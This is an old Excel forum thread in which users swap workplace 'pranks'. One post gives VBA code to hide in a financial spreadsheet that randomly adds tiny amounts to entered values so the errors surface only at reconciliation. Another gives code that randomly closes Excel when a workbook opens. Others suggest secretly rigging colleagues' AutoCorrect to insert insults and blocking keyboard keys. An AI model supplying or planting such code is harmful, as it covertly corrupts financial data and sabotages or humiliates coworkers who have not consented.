Good Excel Practical Jokes, Pranks, Mean Tricks, etc.

[Mark O'Brien]

On 2002-11-08 10:09, Von Pookie wrote:


You're a vindictive little bugger, ain't ya? :wink:

The main reason I left was that I wasn't in the clique. (the 56% raise I got to switch jobs was merely a nice side effect)

 

[Corticus]

A little more fun...

put this in any financial spreadsheet, or I guess anywhere for that matter:

Private Sub Worksheet_Change(ByVal Target As Range)

Dim Level As String
Dim Occurance As Integer

Frequency = 0.3
Level = 0.0000001

On Error Resume Next

Application.EnableEvents = False

If Target.Value< Level Then End
If Rnd()< Frequency Then Target = Target + Level

Application.EnableEvents = True

End Sub

edit:
In case you wondered what this does...It randomly(frequency) adds a very small amount(level) to every entry made in a sheet. The amounts should not be enough to notice until its time to reconscile...hehehe
This message was edited by corticus on 2002-12-19 12:17

 

[Bruno_x]

Corticus,
a variation on my code :
<pre>
Private Sub Workbook_Open()
Application.DisplayAlerts = False
Randomize
annoying_level = 8 * weekday(now())
annoying_number = 100 * Rnd
If annoying_number < annoying_level Then
Application.Quit
End If
End Sub</pre>

On sunday the annoying_level will be 8, on monday 16, on tuesday 24, etc.
'During the week, the PC get tired to start XL' :wink:

 

[EdE]

Hey Mark --

You wouldnt happen to still have that code for the Michigan prank you pulled? I have the same problem here with Colorado/Colorado State. Would love to get a few Buffalo fans irked.

Thanks!!

 

[DBA]

Hi Guys and Gals,

If you haven't the time to hoik some VBA, just do as I do and slip into their auto correct. An endless source of fun - especially if your colleagues are not apt to proof read their work. (Good on Excel but works even better on Word).

Try these -
Replace "the" with "the ****" - Works well on sentences like -
"The manager of the company has approved the loan."
Or this gem -
Replace "you" with "you idiots" - Good for -
"I'd like to thank you for the kind gift you sent me yesterday"
Or even -
Replace "Brian" (use the person's name) with "Brian (your love puppet)" - Imagine this -
"Thank you for your trust in me, Sir. I won't let you down. Regards, Brian"

And these are just the mild ones. How far are you willing to push it?

Let us know.

DBA

 

[Corticus]

DBA,

That's too funny! I'm a little late on the post, but your prank is classic. Now if only we could put our powers to good...

 

[Sourdust]

Too funny DBA

I am already planning how far I can go without getting the sack!

 

[Pesky_Weasel]

Now this is funnee!
I almost cant wait for work on Monday, speaking of which, anyone got a job for me? (In case some of this doesn't go down so well)

 

[k209310]

I have recently been experimenting with the Ascii code for the keyboard.

You could put the code in to akeypress fucntion and then put a template in the start up file.

This would prevent to prevent certain letters from being used. This would annoy the hell out of the users you wish to get. You could cost your company a fortune in new keyboards.

 

[NateO]

If I wasn't anticipating the following, it would surely irritate me, to say the least.

http://www.mrexcel.com/board/viewtopic.php?topic=27145&forum=2

Even nastier would be to not reset it.

_________________
Cheers,<font size=+2><font color="red"> Nate<font color="blue"> Oliver</font></font></font>
This message was edited by nateo on 2002-12-05 21:46